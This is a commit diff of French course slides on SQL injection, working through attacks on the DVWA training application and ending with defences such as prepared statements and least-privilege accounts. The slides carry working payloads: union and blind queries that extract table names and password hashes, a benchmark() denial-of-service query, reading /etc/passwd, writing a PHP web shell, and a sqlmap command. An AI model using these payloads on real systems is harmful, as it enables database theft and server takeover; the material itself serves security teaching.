Skip to content
Snippets Groups Projects
Commit 655ba0f0 authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

SQLi

parent 924c40b2
No related branches found
No related tags found
No related merge requests found
Pipeline #11390 failed
...@@ -18,7 +18,7 @@ ...@@ -18,7 +18,7 @@
### <i class="fas fa-ice-cream"></i> SQLi / types ### <i class="fas fa-ice-cream"></i> SQLi / types
* [topologie](https://www.linkedin.com/grp/post/36874-130061102) * [topologie](https://www.imperva.com/learn/application-security/sql-injection-sqli/#:~:text=SQL%20injections%20typically%20fall%20under,data%20and%20their%20damage%20potential)
* [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) * [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
* cas simple où les messages d'erreur base de données sont affichés * cas simple où les messages d'erreur base de données sont affichés
...@@ -175,7 +175,7 @@ User ID: 6 ... # ...@@ -175,7 +175,7 @@ User ID: 6 ... #
### <i class="fa-solid fa-bomb"></i> SQLi / high ### <i class="fa-solid fa-bomb"></i> SQLi / high
Toutes la séquence SQLi / low est valide Toute la séquence SQLi / low est valide
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low ### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
...@@ -251,148 +251,137 @@ déterminer le nom de la base de données ...@@ -251,148 +251,137 @@ déterminer le nom de la base de données
``` ```
## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) ### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit
```
* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe déterminer le nom de la table
* DoS
* utile pour les vraies blind SQLi
```
1' AND ORD(MID((SELECT table_name
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 # g
```
## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) déterminer le nombre de colonne de la table users
```http ```
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit 1' AND ORD(MID((SELECT COUNT(column_name)
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa'),1,1)) = 56 # 8 -> 56 => 8
``` ```
affiche toutes le contenu du fichier /etc/passwd
```http ### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit
```
écriture du fichier shell.php dans le système de fichiers déterminer le nom des colonnes de la table users
```http
http://dv.wa/hackable/uploads/shell.php?cmd=ls
``` ```
execution de commandes systèmes avec les privilèges du thread apache 1' AND ORD(MID((SELECT column_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 # p
```
## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) déterminer le hash d'un user
<i class="fa fa-exclamation-circle"></i> le code vulnérable a changé entre low et medium ```
1' AND ORD(MID((SELECT password FROM dvwa.users
WHERE user='Pablo'),1,1)) = 48 # 0
```
* utilisation de la fonction [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
* ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a.
* contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés
### <i class="fa-solid fa-bomb"></i> Blind SQLi / medium
## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) reprendre les étapes Blind SQLi / low en remplacant
```http ```
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; User ID: 1' ... #
``` ```
devient <i class="fa-solid fa-arrow-right-arrow-left"></i>
```http ```
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; User ID: 1 ... #
``` ```
<small>
## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) `table_schema='dvwa'`
donc l'injection du niveau low <i class="fa-solid fa-arrow-right-arrow-left"></i>
```http `table_schema=0x64767761`
' OR user_id > 0#
```
devient pour fonctionner au niveau medium </small>
```http
1 OR user_id > 0#
```
devient une fois encodée
```http ### <i class="fa-solid fa-bomb"></i> Blind SQLi / high
1%20OR%20user_id%20%3E%200
```
et s'injecte directement via l'url Toute la séquence Blind SQLi / low est valide
```http
http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit
```
Note: ### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
- à saisir directement dans l'url
- utiliser plutôt l'encoder de burp
- sinon hackbar à comparer
- https://www.information-security.fr/dvwa-sql-injection-solutions-protections/
* Si aucun output n'est disponible
* on ajoute du calcul artificiellement
* la **payload** est exécutée
* le temps de réponse = temps de traitement + temps de calcul artificiel
* la **payload** n'est pas exécutée
* le temps de réponse = temps de traitement
## [SQLmap](http://sqlmap.org/) problématique similaire à une booléenne
* Fait tous le boulot à votre palce
* une ligne de commmande
* affiche des résultats propres
* abstrait
* le moteur de base de données
* les différentes techniques d'injections
```http ### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables
```
User ID: 1' AND 1=0 UNION SELECT NULL,
benchmark(5000000, encode('MSG', 'pass-phrase'))
FROM users #
``` ```
<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session * chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
* DoS
* utile pour les **True Blind SQLi** ou **Time Based**
### [<i class="fa fa-check-square"></i> SQLi (Blind) - security low](http://dv.wa/vulnerabilities/sqli_blind/) ### <i class="fa-solid fa-bomb"></i> SQLi / Low
* on se concentre sur le user 1337 (id=3) <i class="fa-solid fa-triangle-exclamation"></i> sous certaines conditions
* on cherche à deviner son mot de passe
```http
http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit
``` ```
User ID: 6' UNION SELECT NULL, LOAD_FILE("/etc/passwd") #
n'affiche rien!! en revanche
```http
http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit
``` ```
affiche affiche tout le contenu du fichier /etc/passwd
``` ```
ID: 3' AND password LIKE '8% User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>"
First name: Hack INTO DUMPFILE "/var/www/DVWA/hackable/uploads/shell.php" #
Surname: Me
``` ```
écrit le fichier shell.php dans le système de fichiers
## <i class="fa fa-eye-slash"></i> [True Blind SQL Injection](https://www.owasp.org/index.php/Blind_SQL_Injection)
* Si aucun output n'est disponible ## <i class="fa-solid fa-screwdriver-wrench"></i> [SQLmap](http://sqlmap.org/)
* on ajoute du calcul artificiellement
* la **payload** est exécutée
* le temps de réponse = temps de traitement + temps de calcul artificiel
* la **payload** n'est pas exécutée
* le temps de réponse = temps de traitement
problématique similaire à une booléenne * Fait tous le boulot à votre palce
* en ligne de commmande
* affiche des résultats propres
* abstrait
* le moteur de base de données
* les différentes techniques d'injections
Note: ```http
- discussion sur les vraies blind sqlmap --url "https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id= #;"
- in fine même problème une fois scripter --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low"
--tables
```
<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session
## <i class="fa fa-medkit"></i> Se préserver ### <i class="fa fa-medkit"></i> SQLi / Fix
* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php) * [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
* Utiliser des requêtes préparées * Utiliser des requêtes préparées
...@@ -400,13 +389,13 @@ Note: ...@@ -400,13 +389,13 @@ Note:
* Être le plus silencieux possibles quant aux requêtes invalides * Être le plus silencieux possibles quant aux requêtes invalides
* [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php) * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
* [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php) * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
* repérer les requêtes suspectes dans les logs * Repérer les requêtes suspectes dans les logs
Note: Note:
- TODO regarder si les messages sont désactiables à partir de MySQL - TODO regarder si les messages sont désactiables à partir de MySQL
## <i class="fa fa-medkit"></i> Se préserver ### <i class="fa fa-medkit"></i> SQLi / Fix
* Filtrage par listes blanches * Filtrage par listes blanches
* caster * caster
...@@ -416,12 +405,11 @@ Note: ...@@ -416,12 +405,11 @@ Note:
* [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
## <i class="fa fa-medkit"></i> Se préserver ### <i class="fa fa-medkit"></i> SQLi / Fix
* Web Application Firewall (WAF) * Web Application Firewall (WAF)
* [mod_security](https://www.modsecurity.org/) * [mod_security](https://www.modsecurity.org/)
* log le POST * <i class="fas fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* Les privilèges de l'utilisateur SQL ont un sens * Les privilèges de l'utilisateur SQL ont un sens
* [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file) * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
* attention aux permissions sur la base de données * attention aux permissions sur la base de données
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment